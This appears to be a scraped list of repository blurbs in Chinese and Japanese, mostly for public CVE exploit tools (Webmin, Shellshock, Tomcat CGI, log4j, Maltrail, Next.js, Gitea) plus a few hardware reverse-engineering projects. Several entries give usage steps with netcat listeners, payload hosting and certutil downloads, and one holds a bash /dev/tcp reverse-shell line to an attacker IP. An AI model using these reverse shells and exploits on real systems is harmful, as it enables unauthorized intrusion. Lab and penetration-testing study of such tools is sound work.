CVE-2019-15107

CVE-2019-15107 https://www.cvedetails.com/cve/CVE-2019-15107/ 在 Webmin =1.920 中发现了一个问题。passwordchange.cgi 中的参数 "old" 和 "expire" 包含一个命令注入漏洞。 使用方法 1. 在红方主机上启动一个监听器。 rlwrap -cAr nc -lvp 1919 2. 运行漏洞利用程序 ./exploit.sh 3. 程序将提示输入以下参数： 目标主机的 IP 地址 运行 webmin 的目标端口（通常为 10000） 本地监听端口 运行监听器的本地接口（eth0、tun0 等...

CVE-2014-6271-SHELLSHOCK

CVE-2014-6271-SHELLSHOCK 🐚 シェルショック エクスプロイトスクリプト 🎯💻🔍 このPythonスクリプトは、シェルショック脆弱性 CVE-2014-6271 を悪用して、脆弱なターゲット上でリモートからコマンドを実行したり、リバースシェルを確立したりします。 🛠️⚠️ ⚠ 免責事項 🚨❗ このスクリプトは、教育目的および許可されたペネトレーションテストのみを目的としています。明示的な許可なくシステムに対して不正に使用することは、違法かつ非倫理的です。セキュリティテストを実施する前に、必ず適切な許可を取得してください。 ⚠️🛑🚔 🔥 機能...

luadec-tplink

luadec-tplink 修改版 luadec，用于反编译 TP-Link Archer C7 LUA 固件。 并非所有操作码都能正常工作，但仍足以用于逆向工程。...

Vision-MSI-Thermal-Control

Vision MSI 热控制 MSI Modern 15H AI C1MG-096IT Linux 热管理 - 逆向工程 EC 控制，带风扇配置文件和电池阈值 🎯 此项目的目的 这个应用程序源于为 Linux 上的 MSI 笔记本电脑用户的必要性。旅程始于我发现 Intel 和 MSI 都没有为我的 Linux Mint Xia 发行版提供合适的驱动程序或控制应用程序。 📖 背景故事 经过广泛搜索，只有一个仓库对我的 Intel Core Ultra 5 125H CPU 看起来有希望： OpenFreezeCenter 然而，该项目最初是为 Intel 第10/12代 CPU 设计的。...

CVE-2026-48172

📚 教育用セキュリティ研究リポジトリ 管理された環境でサイバーセキュリティの概念を学習、テスト、研究するためのリポジトリです。 ⚡ 簡単な使い方 このプロジェクトは、以下のような安全で許可された環境でのみ使用してください： ローカル仮想マシン Dockerコンテナ 隔離されたラボ環境 許可されたペネトレーションテスト環境 セットアップ例： git clone https://github.com/HORKimhab/CVE-2026-48172 && cd CVE-2026-48172 cd lab docker compose up --build -d cd .. 使用例： For...

cve-2018-9948-9958-exp

2018-9948-9958-exp "getshellcodefrommsf.py" 是一个 Python 脚本，用于从 msfvenom 获取 shellcode，然后将输出复制到 exp.pdf 以替换 'calc' shellcode 块，最后即可生效。哎呀，这是一个 tcp 反向 shellcode。 示例代码如下：python getshellcodefrommsf.py 192.168.1.79 1234...

CVE-2023-27163---Maltrail-0.53---RCE

CVE-2023-27163---Maltrail-0.53---RCE 由 TheAlchimist 创建 cve-2023-27163-maltrail.py 用于反向Shell...

CVE-2015-8562

CVE-2015-8562 - 反向 Shell Python 漏洞利用：Joomla 1.5 - 3.4.5 对象注入 RCE X-Forwarded-For 头： 漏洞日期：2015年12月17日 漏洞利用作者：anarc0der 版本：Joomla 1.5 至 3.4.5 CVE：CVE-2015-8562 使用方法： 打开一个终端并使用 nc 监听：$ nc -lnvp 4444 打开另一个终端并执行漏洞利用： python3 rce.py --target='目标' --ip='IP' --port=4444 PoC 示例目标（请勿攻击它们，仅供其他人作为示例使用）：...

CVE-2019-0232

CGI RCE 漏洞利用 通过 CGI 批处理端点实现未认证 RCE 的 PoC。使用 certutil 将 nc.exe 下载到目标主机，并触发反弹 shell。 设置 1. 托管 nc.exe （在 nc.exe 所在的同一目录下）： python3 -m http.server 80 2. 启动你的监听器： nc -lvnp 1234 3. 运行漏洞利用程序： python3 exploit.py \ --url http://:/cgi/.bat \ --server-ip \ --server-port 80 \ --nc-ip \ --nc-port 1234 参数 参数|...

CVE-2021-21220

首先安装：https://commondatastorage.googleapis.com/chromium-browser-snapshots/index.html?prefix=Winx64/848005/ Chrome 版本：90.0.4403.0 安装 chrome-win.zip 1. node server.js 运行 ./chrome.exe --no-sandbox 访问 localhost:8888 请注意，此漏洞利用所依赖的 CVE 是 CVE-2021-21220 此漏洞基于一个托管的网站。其整体思路是：受害者访问该网站，无需任何操作，漏洞利用便通过...

CVE-2019-0232_tomcat_cgi_exploit

Apache Tomcat CGI Exploit スクリプト 説明 Apache Tomcat サーバーの CGI 脆弱性を悪用し、リバースシェル接続を実行するように設計された Python スクリプト。 使用例 特徴 Apache Tomcat の CGI 脆弱性に対する自動エクスプロイト カスタマイズ可能なターゲットおよび攻撃者パラメータ シンプルなコマンドラインインターフェース 前提条件 Python 3.x requests ライブラリ Netcat nc.exe リバースシェルを受信するためのリスナーへのアクセス インストール git clone cd pip install...

CVE-2019-5736

🖥️ -h3x0v3rl0rd- ️⃣ CVE-2019-5736 使用方法 : 该机器存在CVE-2019-5736漏洞，请按照Runc漏洞利用（CVE-2019-5736）中的步骤操作。 下载main.go文件，将文件中的payload修改为： var payload = "!/bin/bash \n bash -i & /dev/tcp/10.10.14.12/1234 0&1" 之后，运行： go build main.go 搭建一个HTTP服务器： python3 -m http.server 然后按如下方式打开3个终端： 终端1 sudo /usr/bin/docker exec...

Alternative-Approach-Reverse-Shell-Callback-Test-InvokeAI-RCE

Alternative-Approach-Reverse-Shell-Callback-Test-InvokeAI-RCE 代替アプローチ：リバースシェル＆コールバックテスト 概要 このリポジトリには、InvokeAIのRCE脆弱性（CVE-2024-12029）に対して、SSHキーインジェクションが失敗した場合の代替ペイロードアプローチが含まれています。ペイロードは、pickle逆シリアル化が実際に行われているかどうかをテストし、代替アクセス方法を提供するように設計されています。 問題の説明...

byd-dolphin-hacking

🚗 比亚迪海豚车机 — 研究与逆向工程 针对 比亚迪海豚 25/26 信息娱乐系统（DiLink 3，Android 10）的逆向工程、文档和工具。 这里的一切都是通过 ADB 探索、APK 反编译和 CAN 总线探测发现的——未使用任何专有文档。 ⚠️ 免责声明： 非官方、社区驱动的项目——与比亚迪无任何关联。 对比亚迪内部 Android 服务的逆向工程仅用于教育和互操作性目的 。 使用风险自负——修改车辆软件可能会使您的保修失效或违反比亚迪的服务条款。 作者对您的车辆、软件或数据造成的任何损害不承担任何责任。 📋 目录 车机规格 快速开始 关键发现 安全发现 架构 文档 脚本 仓库结...

POC_react2shell_CVE-2025-55182

Next.js React Server Components RCE エクスプロイト CVE-2025-55182を悪用して、プロトタイプ汚染を介したリモートコード実行を行います。 著者: Severian N.K. 説明 このツールは、React Server Componentsを使用するNext.jsアプリケーションのプロトタイプ汚染の脆弱性を悪用し、リモートコード実行（RCE）に至ります。直接的なコマンド実行とリバースシェルの両方をサポートします。 インストール このプロジェクトはPython仮想環境を使用して依存関係を管理します。まず、Python...

LOGJ4_PocShell_CVE-2021-44228

log4j-shell-poc 最近発見された CVE-2021-44228 脆弱性の Proof-Of-Concept です。 最近、log4j（Java のロギングライブラリで、Elasticsearch、Minecraft など非常に広く使用されています）に新たな脆弱性が見つかりました。 このリポジトリには、脆弱なサンプルアプリケーションとその Proof-Of-Concept PoC エクスプロイトが含まれています。 概念実証 PoC PoC として、プロセスを自動化する Python ファイルがあります。 必要条件: pip install -r requirements.tx...

htb-sau-exploit-chain

HTB Sau エクスプロイトチェーン — CVE-2023-27163 SSRF + Maltrail RCE 自動化 CVE-2023-27163（Request Baskets ≤ 1.2.1 のサーバーサイドリクエストフォージェリ）と Maltrail 0.53 の認証不要のリモートコード実行脆弱性を連鎖させ、リバースシェルを送信する Python エクスプロイトスクリプトです。Hack The Box の Sau マシン向けに設計されています。 📌 概要 このスクリプトは、ターゲットへの初期アクセスを獲得するために必要なエクスプロイト経路を自動化します： 1...

CVE-2023-422-Chamilo-LMS-RCE

前提条件 pip install requests 信息 该 Python 脚本利用漏洞 CVE-2023-422 将文件上传到服务器，并利用该文件向 netcat 监听器发送反向 shell，而这一切都可以在未经身份验证的情况下完成。不过，你需要按照以下步骤才能成功使用该 Python 脚本。 启动 netcat 监听器： nc -lnvp 4444 执行 Python 脚本（示例）： python3 main.py -u "http://lms.permx.htb" -p "80" -ni "10.10.16.24" -np "4445" 更多...

CVE-2023-27163-AND-Mailtrail-v0.53

自动利用 摘要 以下利用程序滥用 Requests Baskets v1.2.1 SSRF 漏洞，将运行在 127.0.0.1:80 的内部应用程序转发到位于 /pwned 的外部应用程序。一旦 Mailtrail v0.53 应用程序被转发，它将对其执行反向 shell 命令，几秒钟内用户应能在目标机器上获得一个反向 shell。 命令 python3 ./exploit http://10.10.10.10:55555 LISTENER-IP LISTENER-PORT 利用漏洞： CVE-2023-27163 Mailtrail v0.53 致谢...

CVE-2026-20896-Gitea-Authentication-Bypass

CVE-2026-20896 - Gitea ≤1.26.2 身份验证绕过 1. 什么是 Gitea？ Gitea 是一个轻量级的开源 Git 托管平台 ，允许组织和个人开发者管理源代码仓库、跟踪问题、审查更改以及协作开展软件项目。它提供与 GitHub 和 GitLab 等平台类似的功能，但被设计为自托管、高效且易于维护 ，使其适合希望对自己的代码和开发基础设施拥有更大控制权的组织。 2. 漏洞说明 CVE-2026-20896 是官方 Gitea Docker 镜像中的一个严重身份验证绕过漏洞 ，CVSS 评分为 9.8（严重） 。该漏洞影响 1.26.2 及更早版本的 Gitea...